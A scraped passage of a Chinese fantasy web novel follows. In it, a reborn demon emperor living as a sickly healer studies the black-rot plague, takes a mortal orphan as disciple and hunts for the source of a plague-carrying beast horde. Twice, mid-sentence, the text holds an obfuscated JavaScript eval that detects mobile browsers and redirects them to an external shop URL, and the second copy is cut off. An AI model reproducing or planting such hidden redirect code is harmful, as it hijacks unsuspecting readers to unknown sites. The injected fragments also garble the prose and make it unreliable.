黑蚀疫是什么? 这问题问全修真界的人,恐怕也未必能得到一个确切的答案。因为自几千年起,黑蚀疫就已经是九州大陆令人闻之色变的疑难杂症。 起初的时候,只有个别凡人染上这种怪病。他们浑身疼痛,高烧不止,皮肉腐烂,会在短短几天的时间里就从活人丧失理智,变成一具行尸走肉。 到后来,这种疾病开始以地区为单位大范围地爆发。 它就像瘟疫一般,常常在一大片区域突然爆发,一旦出现,当地的植物会全部枯死,地面呈现黑色,所有生物失去生机,化作行尸走肉,故而得名。 不光如此,黑蚀疫的出现没有任何规律,就像是洪涝、地震、海啸、火山喷发一样,只要出现,就会迅速吞噬一片地区,让这里沦为生灵涂炭的荒芜之地。不论是多么繁华的城市、多么富饶的土地,都会在一夜之间变成废墟和荒土。 这就是黑蚀疫。 有人说,它是被驱逐出境、祖祖辈辈再也见不到阳光的魔族留给人界的诅咒。 黑蚀疫是什么?慕蓁也无法回答这个问题。它太过复杂了,不是短短几句话就能解释明白的,尤其是在她脑子不太清醒的当下。 于是慕蓁刚要开口,就一头倒在了床铺上,干脆利落地昏过去了。 大概是因为病中的缘故,这一觉,她睡得并不安稳。 对时间的感知被无限拉长,这种感觉就像是她身死之后、重生之前,她的灵魂在时间与空间里漫无目的地游荡,她感觉不到时间的流逝,也感知不到自己的存在。 她成为了空气,成为了时间与轮回的一部分,似乎无处不在,又似 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无数陌生的声音,将言语一字一句如长针般扎进她的耳朵里,最后一句话宛如落入沸水的一滴滚油,猛地在她的大脑里炸开。 “魔——皇——陨——了——” 慕蓁猛地惊醒了。 她以为自己会睡上很久,没想到睁眼的时候,天甚至都还没亮。 窗外的雨不知何时已经停了,后颈处的滚烫感仿佛还停留在她的身体里,尚未随着梦境的淡忘而消散。 重生给她带来了一具不健康的身体,似乎还剥夺了她睡上一个好觉的权利。慕蓁头痛欲裂,浑身酸软,活像昨天被十几个人打了一顿似的,却怎么也没法再睡着,只好认命地把自己从床上拔了起来,往里屋的方向走。 刚一脚踏进里屋,她就吓了一大跳。 屋里除了患者都安置在草席上之外,其他地方都四仰八叉地躺满了剑修,睡姿简直是横七竖八、各有千秋,要不是有人的鼾声比雷都响,她差点以为是凶案现场。 慕蓁:“……” 她记得昨夜她昏睡过去之前,好像交代了这些剑修弟子轮值照顾伤患。 这算哪门子轮值。轮流睡觉? 她试探着伸脚,轻轻踹了踹身体卡在门口的一名男剑修。 对方纹丝不动,睡得非常安详。 慕蓁叹了口气。 前些天他们一直四处奔忙,昨夜又忙着配合她安置伤患,每个人都累得几乎瘫痪,就这种情况,他们还把外屋的床铺让给了她。 她还能说什么呢? 幸好,就在这时候,屋外终于传来了人声。 在惊心动魄的雷鸣中,迟简风风火火地带着药王谷的医修破门而入,一嗓子把地上所有的人全都喊醒了:“师姐,我带着十年的两仪双生莲回来了!” 睡懵了的剑修们都用一种见鬼的表情看着他,像是在怀疑自己是不是因为过劳而猝死,已经先一步飞升上天庭了。 修界研究了上万年,都没能找到能根治黑蚀疫的方法,目前在修真界已知的医药学知识中,能够勉强抵抗黑蚀疫的草药也只有一种:两仪双生莲。 这种灵植只会在灵力极其充裕的地方生长,数量稀少,并且通常存活时间不会超过一年,在整个修真界都是可遇而不可求的无价之宝。即使是九州唯一的医修驻地药王谷,总共也没有几株。 但迟简竟然一口气捎了好几棵十年的两仪双生莲。 这是什么概念? 相当于他搬了一整座灵石山进来。 药王谷的医修们接手了慕蓁的工作,给每个患者上药和治疗。他们把那些碾碎了的白色花瓣敷在患者伤口上时,表情都像是把金子成堆地撒进大河里一样心疼。 十年两仪双生莲的药效远比普通双生莲强悍,一直藕断丝连的黑蚀疫不多时就彻底没了痕迹,患者的伤口也终于在几个药王谷医修的治疗下渐渐愈合。并且由于昨天应对及时,黑蚀疫并没有影响到他们的灵脉。 连日阴霾总算一扫而空,剑修们一片欢声笑语,雨过天晴,皆大欢喜。 慕蓁把迟简拉到一边,诧异:“灵隐山什么时候有十年的两仪双生莲了?” “是大师兄带回来的。”迟简说,“说来也巧,他昨日才从蜀州回来。” 蜀州。又是蜀州。 这是慕蓁这些天第二次听见这个词了,袭击剑修小队的兽潮,也是从蜀州过来的。 “师兄现在在灵隐山吗?”她问。 迟简摇头:“他刚回来就走了,听说是白帝城那边的人催他回去。” 慕蓁没说话。 过了一会儿,她才对迟简道:“我有事要问你。” 迟简连忙正襟危坐:“师姐请问。” 慕蓁微微笑了一下,表情和善且温柔:“你为什么要在雷雨天御剑?” 迟简:“……” 这金丹期的剑修毫不犹豫地选择了滑跪:“师姐,我错了。” 5. 栖霞村「05」 一天之后,众人就再次启程,返回了灵隐山。 被他们一道带回来的那个少年,则被暂时安置在了灵隐山脚下的一间小屋内。 而慕蓁刚回到灵隐山,就不出所料地病倒了,在床上躺了两天没能起来。 眼下她的精神才稍微好了一些,正坐在自己的床上,裹着两床棉被,左手捧着个碗,一口一口地抿着药汤;右手里攥着一支笔,正在一卷羊皮纸上写写画画。 羊皮纸上赫然是整个九州大陆的地图,中州作为面积最大的一个州,就坐落在大陆的中心。而在这卷羊皮纸上,中州的西南方向被画上了许多个红圈。 倘若有心者来看,必然会发现这些红圈恰好都是最近几个月中州出现过黑蚀疫的地点。远远看去,大小不一的红圈连成一片,竟有几分触目惊心,仿佛燎原星火一般。 那天从执事堂回来,她就记住了任务记录上关于黑蚀疫爆发的详细信息,包括时间和地点。如今终于有空闲将这些信息整理起来,果然发现了问题。 手上的药苦得舌尖发麻,她皱着眉头将浓稠的液体往喉咙里灌,问身边的迟简:“关于其他州黑蚀疫的情况,你打听到什么了吗?” “打听过了。”迟简坐在她的床边说道,“今年仙盟记录在册的黑蚀疫数量中,蜀州爆发的黑蚀疫最多,其次才是中州,而且几乎都集中在最近两个月。” 慕蓁搁了笔,若有所思。 蜀州果然不对劲。 不光如此,与蜀州相邻的中州,爆发黑蚀疫的地区几乎都集中在西南,也就是两州接壤的位置。 “我们带回来那个人呢?”她问道。 她说的自然是栖霞村的那名少年。 如今的修真界已经通过灵网科技基本走上了信息化时代,每一个生活在人界的公民身份都会登记在册,想要查一个人的背景并不困难。因此他们回灵隐山不久,他的个人信息就被调查了出来。 此人名叫聂云嵬,是名孤儿,无父无母,只有一位祖母抚养他长大,而祖母也在他十岁的时候就已经寿终正寝。之后,他在山村里孑然一身生活了五年。 目前看来,聂云嵬是这次整片受黑蚀疫影响的地区当中唯一一名幸存者。 聂云嵬。 她在心中咂摸了一下这个名字,不知怎的琢磨出些许奇异的感受。 “长老们已经决定让他去测灵根了。”迟简说,“他的年龄也合适,如果灵根不错,可以等到两个月后让他进青云书院。” 慕蓁并不意外。 修士体内的灵力比起凡人更加充沛,对黑蚀疫有天然的抗性。也因此,凡人几乎无法在大范围爆发的黑蚀疫中活下来,灵力充沛的修士却可以。 这少年作为黑蚀疫的幸存者,不论是谁,都会怀疑他有灵根。 慕蓁喝着药汤道:“什么时候测灵根?” 迟简:“明天。” 慕蓁一惊,差点被药汤呛死:“咳咳咳……这么快?测灵根不是很大阵仗吗?” 迟简一边说,一边轻轻拍着慕蓁的后背,给她顺气:“师姐,你身体本来就不好,这两天还淋了雨,真的该好好休息一阵子了。” 慕蓁手里捧着碗,情不自禁地发了一会儿呆。 先前在山外忙碌时还不觉得,如今静下心来,听他一阵一阵的唠叨,一下子竟有种恍若隔世的感觉。 ……也不能说是恍若,毕竟他们是真的隔世了。 前世她这位师弟,在她死后怎么样了来着? 还没回忆出个所以然,下一秒迟简便把话头续上了:“姜汤我也煮了不少,一会和粥一起拿过来。” 慕蓁顿时露出悲戚的神情:“能不能不喝白粥?我想吃肉。” “不行,风寒的病人不能吃得太油腻。”迟简严肃地说,“师姐,你是医修,这个道理你应该比我懂。” “你可真是我的好师弟。”慕蓁往床上一瘫,生无可恋,“快滚吧。” 她堂堂一个叱咤风云的魔皇,现在愣是成了个病西施,连肉都吃不上。要是说给前世她的下属听,高低要被嘲笑三日三夜。 “等师姐的病好了,想吃什么都行。”迟简宽慰她,“我亲自下厨。” 慕蓁郁郁的神色这才缓和了一些:“我要吃宫保鸡丁和红烧肘子。” 迟简笑道:“好。” 自然,因为卧病在床,第二天聂云嵬测灵根的现场她也没有去。 不过,不需要她到场,在测灵根结束的第一时间,灵隐山的论坛上就已经出现了相关的帖子。 躺在床上刷玉简的慕蓁点开了那条帖子。有人用留影石直接记录下了当时的景象,并且发在了论坛上,只见玉简一亮,留影石里的录影就直接投映在了慕蓁的面前。 留影者是从聂云嵬的背后拍摄的,这个角度看去,只能看见少年瘦削却挺拔的脊背,薄薄地支撑着一件已经洗得陈旧的外衫,颇有种形销骨立的味道。他在众人的注视下走上了扶桑广场,来到测灵石的身边,伸出手。 一秒,两秒,三秒。 整整十秒过去了,测灵石没有任何反应,周围人的议论声逐渐变大。 修真界按照灵力的先天浓厚程度,给每个人的天赋划分了等级,满十级为先天满灵力,也称之为天灵根;一级和不足一级的,就被称为废灵根,譬如慕蓁。 而零级,也就是完全不具备先天灵力的,就是凡人。 测灵石毫无反应,没有任何亮起的迹象,毫无疑问昭示着一点——聂云嵬就是一个凡人。 没有灵根,彻头彻尾、没有一丝可能与修道沾边的凡人。 视频中看不见聂云嵬的神情,但慕蓁大概能猜到,他的表情一定是平静到极点的,就像是他面对着整个栖霞村的沦陷时一般。 整个帖子下面都是失望的评论,大多数人在此之前都在猜测聂云嵬的灵根是什么等级,万万没想到,他连灵根也没有。 一瞬间,所有人都对聂云嵬失去了兴趣,只剩下了怜悯和同情。他们在论坛里感叹他孤苦的身世和多舛的命运,感叹他竟是如此幸运,竟然受上天庇佑,在那场灾难中活了下来。 慕蓁百无聊赖地刷着玉简,反复将那留影石中的影像进度条拉来拉去,连迟简什么时候进了屋都没有发现。 “师姐?”迟简端着煎好的药走进来,见她一副若有所思的模样,好奇道,“怎么了?” “迟简啊,”慕蓁说,“你觉不觉得,咱们清静峰最近有点儿冷清?” 迟简:“……?” 不知为何,他有种不太好的预感。 · 对于灵隐山众人的种种议论,聂云嵬并无看法。 他既不留恋栖霞村,对成为一名修士也没有什么兴趣,他只是一个刚刚无家可归的人而已,对于虚无缥缈的未来,他以前从未想过,现在同样毫无头绪。 既然测完了灵根,与修真无缘的他不久后就会被送下山去。修真界不管凡人生死,失去了落脚处的他今后要如何谋生,就不是他们要考虑的事情了。 有时间在意旁人的看法,不如想想以后他要何去何从。 聂云嵬识趣地收拾好了包裹,等着第二天早上灵隐山的弟子敲开他的门,让他滚蛋。 第二日,灵隐山的弟子果然来敲门了。 他看了一眼聂云嵬的包裹,似乎有些意外:“你收拾得倒快……走吧,跟我上山。” 聂云嵬愣了一下,险些以为自己听错了:“去哪?” “上山。”那人不耐烦地重复了一遍,“有人说愿意收你为徒。" 聂云嵬一头雾水地跟着接引他的弟子进了灵隐山。 山门的路很长,生满了青苔的石阶一眼望不到头。聂云嵬第二次走这条路,跟在接引弟子的身后,从山脚下一步步拾阶而上。 途中路过无数人,看见他时都露出微妙神色,低声交头接耳。 “慕蓁师姐真的要收他为徒?可是现在已经过了灵隐山的弟子选拔期了,而且这还是个凡人……” “嗐。你又不是不知道,她做出什么事都不出奇。” 接引弟子忽然开口:“到了。” 他侧身一让,只见漫长的青石阶尽头终于豁然开朗,石砖铺就的小路一路在开阔的广场上方延伸,最终通向了一栋四方斜顶的楼阁。 楼阁上书三个大字,长老殿。 接引弟子转身就御剑而去,眨眼之间,原地只剩下了聂云嵬一个人。 他定定地看了一眼面前的建筑,抬脚走了进去。 长老殿不知道是用什么材料建造的,隔音极好,在屋外时几乎听不见任何声音,然而当聂云嵬推门进去的时候,一只茶杯咻的一下从他的头顶上飞过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347516|199540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摔在地上砸了个粉碎。一声劈头盖脸的大骂,在他打开门的瞬间仿佛炎夏的热浪一般扑面而来:“慕蓁,你仗着你师尊如此目无尊长,简直放肆!” 聂云嵬转过头看了一眼已经粉身碎骨的茶杯——他自山野乡间长大,并不认得这具体是什么瓷器,但从杯子碎片的光滑玉润来看,价值应该不菲。 大厅内围坐着数个看上去德高望重的长老,此时脸色都很难看,不是气得怒发冲冠,就是面如菜色。 慕蓁就坐在他们的面前。 从聂云嵬的角度,只能看见一小块光洁的侧脸,如扇子一般卷翘又纤长的睫毛。流瀑似的长发编作三股辫挂在右肩头,几枚红色簪花点缀其中,悄然点亮了一个鲜活又灵气的少女剪影。 似乎是察觉到他的到来,她微微侧目,朝门口的他轻轻眨了一下右眼,鬓边流苏晃动。 鲜妍,明媚,生机勃勃,像是盛放到了极致、热烈得正好的一株花树。 只是不知为何,明明是七月盛夏,她身上却严严实实地裹了好几层厚实的外袍,巴掌大的小脸透着一种病态的苍白。听长老训话时她半垂着眼,睫羽的阴翳描绘过轻薄的眼皮,又叫人觉得她身上有一种说不出来的懒散和厌倦。 长老们孜孜不倦地训斥着,简直发挥了他们文化水平的毕生所长,什么离经叛道、大逆不道、嚣张跋扈,四字成语一个接一个往外蹦。看得出来,他们对慕蓁的不满早就不是一天两天了。 “慕蓁,”一名冷着脸的长老开口说道,“现在根本不是灵隐山的弟子选拔时间,就算你现在执意让人入学,他进了书院,也跟不上旁人的进度。” 慕蓁:“没关系,我自己教。” 长老一拍桌子:“你教?你一个炼气阶,怎么教?!” 慕蓁:“我是炼气阶,他是凡人,我们俩不就是正正好天生一对师徒?” 长老们显然觉得她不可理喻:“好,就算你能教,可放眼整个修真界,断没有不及元婴就收徒的先例,更何况灵根测试已出,他是一个凡人,如何能上灵隐山?难道你指望一个凡人能够修炼吗!” 这句话显然点燃了其他长老的怒火,旁人纷纷附和,搬出灵隐山的宗门守则,说凡人断没有能住进灵隐山,和其他人一同修炼的道理。 “规矩是死的,人是活的。”慕蓁歪着脑袋一笑,“敢问各位长老,我乃剑尊座下弟子,我的事情应该由谁管辖?” 长老们面面相觑。 灵隐山有着非常森严的规章制度,灵隐山没有宗主,由长老殿和执事堂共同管辖,二者相辅相成,各司其职。但独有一个人游离在制度之外,那就是鼎鼎大名的折梅剑尊。 剑尊座下弟子虽然平日里和其他弟子一同修行,但行事从来不受门派管辖,而是由剑尊单独负责。 所以,尽管非常不愿意承认,但事实就摆在面前,也容不得他们否定,只能从牙缝里挤出话语道:“剑尊乃灵隐山之首,不归长老殿和执事堂管辖。你是剑尊弟子,你的事自有剑尊负责。” 慕蓁说:“哦,那我师尊有说不同意吗?” 长老们:“……” 当然没有。 折梅剑尊已经闭关至少二十年了,说个屁。 “既然没有,那这事儿就这么说定了。我保证,书院一切照旧,不会影响任何弟子的修行。”慕蓁拍拍手,回过头看向门口,“不说了,我徒弟来了,我该走了。” 说完,她就转身朝聂云嵬走来,丢下一众对她的背影吹胡子瞪眼却无可奈何的长老,笑眯眯地说:“走,你第一天上山,我带你去清静峰。” 这一瞬间,聂云嵬以为自己出现了幻觉。他甚至想,一切或许从来都没有发生过,他早就和村子里的其他人一样死在了那场天灾下,而眼前的一切都只是他临死之前的幻想。 慕蓁离开长老殿时,身后还回响着长老们气急败坏的几句“嚣张跋扈”“不可理喻”。她好像早就习惯了似的,左耳朵进右耳朵出,心安理得地带着聂云嵬往外走。 连日暴雨后的中州不复盛夏的炎热,充盈着湿润水汽的空气透着一丝凉意,少女裹了裹身上的外袍,对聂云嵬说道:“抱歉,临时做了决定,没来得及问你的意见,我想正式再问一遍。” 她向着他笑了一下,宛如春月桃夭盛放,刹那间清风失色:“你愿不愿意当我徒弟?” 6. 灵隐山「01」 斜阳如血,夕光残照。 御兽宗的大门内,不断有人抬着担架走出,不知道是谁行走的时候颠簸了一下,触目惊心的白布下露出一只青灰可怖的手。 地面已经经过了一轮洗刷,脏污的血色被冲进了石砖缝里,但仍然有残留的皮肉组织和血液顽固地粘在地面上,大水一冲,黄黄褐褐的一片,反倒显得更诡异了。 来往的修士们身穿仙盟统一定制的纯白法袍,各司其职,抬尸体的抬尸体,扫地的扫地,清点人口的清点人口。只不过越是清点,就越是让人心惊。 “核验完了吗?”一名修士问负责清点人口的同伴,“这……这都抬出来几十个了吧?” 那人看了一眼大门口仿佛抬不完一般的担架队伍,脸色也很难看:“没有,有的尸体腐烂时间太长了,已经看不清面容了,只能从他们身上的遗物来辨认身份。你问问上头,能不能再调拨点人手过来,否则这个工作量,我们做到明天也做不完。” 话音刚落,一名修士朝着他们的方向走来。 他的五官实在生得优越,一身白袍仿佛天生长在他身上一般合适,素衣白裳衬得他整个人像山巅的雪,疏离又清冷。两名仙盟修士都不约而同地停了话语,向他行礼:“夙秋师兄。” 来人没有太多寒暄,只问道:“尸体数量清点完了吗?” “清点完了,一共一百零一人。”修士回答他,“应该还有几名外出执行任务的弟子幸存,只是死者实在太多了,没法全部确认身份。” 一百多人的规模不算太大,在蜀州最多算得上是中等宗门,饶是如此,一个中等宗门一夕之间几乎全部灭门的,在九州也是闻所未闻。 夙秋“嗯”了一声,又问:“死因是什么?” 负责验尸的修士出乎意料地沉默了片刻。 “死者身上都出现了灵脉曲张的症状,并且,不少死者身上也有疑似其他同门留下的伤口。”半晌后,修士说道,“我们初步怀疑,造成御兽宗灭门的原因是……” “黑蚀疫?” 迟简手中拿着玉简,眉头紧皱,“师姐,你现在在哪?” 慕蓁的声音从话筒另一头传来,音色有些朦胧,仿佛泡在了水中:“在查你们之前遇到的兽潮。你之前的猜测是对的……遇到的不是普通野兽,是灵兽……” 声音实在太模糊,迟简听得费劲,忍不住问道:“师姐,你在做什么,怎么那边的声音这么模糊?” 慕蓁在玉简那头诡异地停顿了一秒,才回答他:“分尸。” 迟简:“……???” 慕蓁低下头,嫌弃地把自己的脚从尸体堆里拔出来。 地上七零八落地躺了不少兽尸,几天时间过去,野兽的尸体在夏季的高温下已经开始腐烂,皮毛和肉块自然剥离,尸水不断朝着地底下渗,不等慕蓁伸手碰到,就已经分解成了好几块。 怎么不算一种分尸呢。 中州七月的天气犹如孩子的心情,说变脸就变脸,前两日雷雨交加的天,现在已经出了太阳,连日阴霾的苍穹裂开一条缝,纡尊降贵地往地面施舍了点阳光。天气一热,空气里的味道就更令人难以言喻,雨后的土腥味和肉腐烂的气味混在一起发酵,林子里再一起风,简直是香飘十里。 慕蓁刚来的时候差点被这气味熏得魂飞魄散,不得不找了条丝巾绑在脸上,把口鼻遮得严严实实,这才能勉强让自己不被熏晕过去。 这里是剑修小队们遭遇兽潮的地方,距离爆发黑蚀疫的山谷只隔着小半座山头,也是中州的边缘地带,位置距离蜀州非常近。 剑修小队们当时没有烧掉尸体,但几天过去了,依然没有任何食肉和食腐的动物来享用这顿大自然馈赠的大餐。 这些兽尸肉眼看上去和寻常走兽并没有太大区别,但慕蓁只瞧了一眼便已笃定,迟简的猜测是正确的。 在她的视野中,每一条兽尸的身上都冒着犹如黑雾般的气体。它们像是滚烫池水中蒸腾的气泡,又像是强酸腐蚀地表时散发的滋滋烟气,周围的一圈植物和草木都已经泛起了不正常的黑。 慕蓁有一个很少人知道的能力。 她能够“看”见黑蚀。 说是“看”,是因为在她的感官里,黑蚀是有实体的。但实际上,感知到黑蚀的并不是她的眼睛,而是另一种无形的感官,就像是她的身上比常人多出了一双眼睛似的,她能用这个多出来的“器官”感知黑蚀的存在。 这是种很奇妙的感受,就像天生的瞎子无法明白拥有视力的人眼中的世界是什么样子,常人也永远无法理解她究竟是怎么“看”见黑蚀的。对慕蓁而言,观察黑蚀,就像普通人能够用眼睛观察世界一样稀松平常。 躺在这里的兽尸足有几十具,截止目前为止,慕蓁才检查完十具,一想到她还要和这么多烂了一半的尸体共处数个时辰,她就感到一阵对生活失去希望的头皮发麻。 她重生到底是要干什么来着? ……不管要干什么,肯定不是要在深山老林里面掏尸体。 “几十头灵兽?这不是小数目了。”迟简的声音也严肃起来,“能找到什么标记吗?” “我已经在找了。”慕蓁忍着反胃凑近每一个尸体,挨个用手扒拉它们脖颈处的皮毛和耳朵,“不然我来这是为了什么?” 通常而言,被豢养的灵兽大都会有人留下的标记,譬如项圈之类。 但这活儿干起来并不容易,许多尸体都已经腐烂,又被大雨连日不断地淋过,纵使皮毛上有什么痕迹,也已经和腐败的尸体一起,烂成了一堆肉酱肉泥。 “我要申请工伤赔偿。”慕蓁悲呼,“丧失嗅觉这种重大损害,灵隐山能赔多少灵石?” 才过去半个时辰不到,慕蓁的鼻子已经彻底麻木,什么也闻不到了。 她甚至怀疑在离开此地之后,自己的鼻腔以后会永久地留下这股味道,就连清洁术都清洁不干净的那种。 “师姐,别太勉强,你的病还没好,实在不行就算了,”迟简劝道,“只是一群灵兽而已,师姐何必如此较真?” 慕蓁摇着头叹息:“不行啊,我在找一个对我很重要的地方,这些灵兽现在是我唯一的线索了。” 迟简问:“什么地方?” 慕蓁叹气:“不知道。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347517|199540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 迟简:“……啊?” 就在这时候,她的余光忽然被什么东西发出的光刺了一下。 慕蓁眯了眯眼,侧过头找了好半天,才找到那光的来源——一头白虎尸体的脖子。 凑近了看,才发现那是一个很小的金属环。 它用根细绳穿着,就戴在白虎的脖子上,只有戒指大小,银白色的环身几乎和白虎本身的毛色融为一体,即使仔细看也很难发现踪迹。 “戴项链的老虎,”少女嘟哝,“还挺潮。” 绳子被血水和雨水泡了好几天,早就和皮毛融为一体,失去了本身的坚韧,变得软烂。慕蓁轻轻用手一掰,就把那金属环从老虎脖子上扯了下来。 毫无疑问,这头白虎是有主人的。 她莫名其妙想到个笑话,对着玉简说道:“家养的老虎有人给它戴项链,那野生的老虎怎么办?” 迟简:“……不戴项链?” 慕蓁:“有野人给它戴啊。” 迟简大概是被冷到了,好半天都没说话。 慕蓁把这枚金属环收了起来,继续在其他兽尸当中翻找。 遗憾的是,这戒指大小的金属环好像已经耗尽了她全部的运气,接下来她把满地的尸体都翻了个遍,也再没能找到任何完整的标志物。 有的脖子上还依稀能看见颈环之类,可惜都已经磨损得不成样子,而且与尸体已经难舍难分,就算取下来,也不太可能分辨出它的发源地。 慕蓁按照处理黑蚀疫污染尸体的方法,将这些兽尸一把火烧了,只留下了那枚银色的金属环。 她把洗掉了血污的银环捻在食指和大拇指中,像供舍利子似的对着阳光看。 看了半天,也没看出个名堂来,只注意到这银环上没有任何刻字,也没有任何记号或者标识。 这在灵兽当中是很少见的,通常来说,大多数在灵兽身上留下记号的人,目的都是为了彰显这是头有主的灵兽而非野兽,倘若哪天不小心丢了被人发现,还能送回到自己家中来。 但即使这样,也说明不了什么。修真界豢养灵兽的地方不少,有的是为了取灵兽身上的某个部位作为珍贵的材料,有的是缔结主仆契约的灵宠。就算能确定这些兽潮来自中州或是蜀州,范围也依旧很大,单凭这一个小小的银环,根本不可能找得到这些兽潮的来源。 “师姐很着急要找那个地方吗?”迟简还在问,“我托人问问仙盟,看看最近有没有哪个豢养灵兽的宗门丢了大量灵兽,或许能找到它们是从哪跑出来的……” 慕蓁漫不经心地点着头,正欲打道回府,脚步忽而一顿,本能地向后看去。 重生之后她的五感远不如过去,但第六感依旧灵敏,就在刚才,她似乎感觉到身后有人在看她。 一阵风吹过,林中树影摇曳,背后什么也没有。 慕蓁正疑心是不是自己听错了,玉简忽然响起一声叮咚的提示音。 她临时挂断了通讯,划开提示一看,一条鲜红加粗的大标题骤然横在她的屏幕上,霸占了大半个论坛页面: 【重大新闻报道:蜀州御兽宗灭门惨案。】 7. [锁] 该章节由作者自行锁定 蜀州御兽宗沦陷于黑蚀疫、一夜之间惨遭灭门的消息,很快在论坛上传播开,并且立刻在整个修真界掀起轩然大波。 上万年来,黑蚀疫从未在九州断过踪迹,却是第一次造成如此严重的影响。 众所周知,灵力能抵抗黑蚀疫,是以有灵根的修士天生就对黑蚀疫有一定的抗性。而在建造宗门时,修士都会选择灵力丰沛的福地作为宗门驻地,便于种植灵草灵植不说,修炼起来也有所依仗。 也就是说,寻常情况下,一个宗门是几乎不可能沦陷在黑蚀疫爆发当中的。 然而这种概率极低的事就是发生了。 据在场的修士说,当时的场面惨不忍睹,简直是尸横遍野、流血漂橹,仙盟派去的人足足用了三天的时间,才终于将御兽宗当地的黑蚀疫净化干净。 一时之间,九州大陆人心惶惶。 过去黑蚀疫只危害人界时,修士们还算得上是泰然自若,哪个山野荒村遭了黑蚀疫,都得过上两三天才能上报到当地的代表宗门,再慢悠悠地派人前去净化和处理。现在,黑蚀疫已经磨刀霍霍向修士了,修真界才终于开始怕了。 “留守御兽宗内的弟子全数覆灭,宗主死亡,少宗主下落不明,只有少数外出执行任务的弟子幸免于难。”迟简刷着玉简上的论坛,“我们遭遇的兽潮,莫非就是御兽宗的灵兽?” 慕蓁手中正把玩着那枚戒指大小的金属环,心不在焉地回他:“大概率是。” 她刚找到这枚金属环,仙盟就给了她答案,倒是省去了她踏破铁鞋找真相的功夫。她已经能肯定,她要去的地方就在蜀州。 只是御兽宗灭门这件事,不论从什么方向看,都处处充满了古怪。 和先前被灵兽咬伤导致感染黑蚀疫的剑修们不同,御兽宗一百零一名弟子身死,如此惨烈的数字,绝对不是一两个人感染黑蚀疫能够造成的,必然是整个宗门,一夕之间都沦陷在了黑蚀当中。 但能影响整个宗门的黑蚀疫,绝对是世界末日级别的灾难。如今在整个九州,也就只有天堑结界四大镇守的黑蚀能达到这种程度。 要真是这样,仙盟早就应该把御兽宗这块地方查封了,怎么还会派人去给御兽宗收尸? 这段时间,慕蓁一直在脑海中回想前世,是否有哪些事件能和御兽宗对上,然而无果。随着她的重生,世界的轨迹也在发生细微的改变,她无法事无巨细地预知未来。 最令人不安的是,中州近来的黑蚀疫似乎也越来越严重了。 “经过灵力净化的黑蚀地区,一段时间内通常是不会二次爆发黑蚀疫的。”慕蓁蹲下身,从地上捻了一把泥土,细碎的土壤很快从她的指缝中间漏下,“但是你看,这里的土壤已经开始有黑蚀的痕迹了。” 迟简学着她的模样,也从地上抓起些许土,随后愣住:“的确。” 这种程度的黑蚀,就连修真界的仪器也检测不出来,只有非常仔细的肉眼观察才能看出些许端倪,也不知道慕蓁是怎么发现的。 他环顾山谷周围,只觉得眼熟,过了一会儿才想起这是哪里:“这是在栖霞村附近?” 慕蓁点头。 “不应该啊,”迟简皱着眉头,“栖霞村的黑蚀等级明明是最低的甲级,这么短的时间内,怎么会又出现黑蚀?” “想知道这些,恐怕得先去一趟蜀州。”慕蓁说,“只不过……” 她非常有暗示性地看了迟简一眼。 和她当了这么多年的师姐弟,迟简对她简直是了如指掌,几乎立刻就看懂了她的意思,脸色也变得微妙起来:“师姐,你不会是希望我去照看师侄吧?” 他指的自然是聂云嵬。 坦白说,迟简并不喜欢这个凡人。他的身上时时刻刻带着一种死气,对万事万物包括自己的态度都很随意,好像生来就是断了源的一塘死水,没有什么人和物能提起他的兴趣。 从小生活到大的家园毁了,他并不感到痛心;慕蓁接纳他给了他一个去处,他也并不为此感激。总而言之对他来说,好像当天上高高在上的仙人和地下苟且偷生的蝼蚁没有任何区别,都只是“活着”。 他的生活履历非常平凡,怎么看都只是个在山村里长大的普普通通的少年,也没经历过怎样惊天动地的大事,到底是怎么长成这副活人微死的样子的? 而且最重要的是,因为慕蓁临时收徒的决定太突然,清静峰上压根来不及修建一座新的院子。聂云嵬只能暂时和慕蓁住在同一个院子里,他住西院,慕蓁住东院。 和师姐住同一个院子。 他都没有这种待遇! 迟简想到这件事就来气,脸色顿时沉了下来,刚想要开口拒绝,动作却忽然顿住。 他非常快地朝着背后投去一瞥,悄悄压低声音道:“师姐……” “嗯,我知道,”慕蓁泰然自若,“别声张。他跟了我好几天了。” 这人的跟踪手段并不高明,即使是个凡人,稍微注意些细节也能察觉他的存在,更何况他们都是五官敏锐的修士。 迟简这时候才发现,他们已经悄悄拐进了一条小道中,是个极其适合瓮中捉鳖的地形。 迟简错愕:“师姐知道还不管?” “我就是好奇,想看看他打算干什么。”慕蓁比了个噤声的手势,“待会儿你听我的,我数到三就上。” 她若无其事地走,“一……” 迟简放轻了呼吸,悄无声息地握住了剑。 “二……” 没想到才念到二,跟在背后那人也不知道是不是有什么危险感知的特异功能,突然间就从藏身之处跳起来,扭头就往反方向跑! 人影跑得飞快,转瞬间就消失在了树林子里,慕蓁和迟简同时一惊,还没追出去,就见一柄长剑自长空飞驰而来,径直朝着人影逃窜的方向而去。 那是把非常漂亮的剑,剑身冰蓝透白,宛若凝冰,散发着幽幽的光芒,青天白日里也依旧十分显眼。慕蓁一眼就认出那是易水剑,霎时愣了一下。 只是这么一瞬间,长剑已经咻的一声,一个流畅丝滑的急刹车,稳稳当当横在了黑影的脖子前。黑影吓得一屁股坐在了地上,当场两眼一翻,就这么昏过去了。 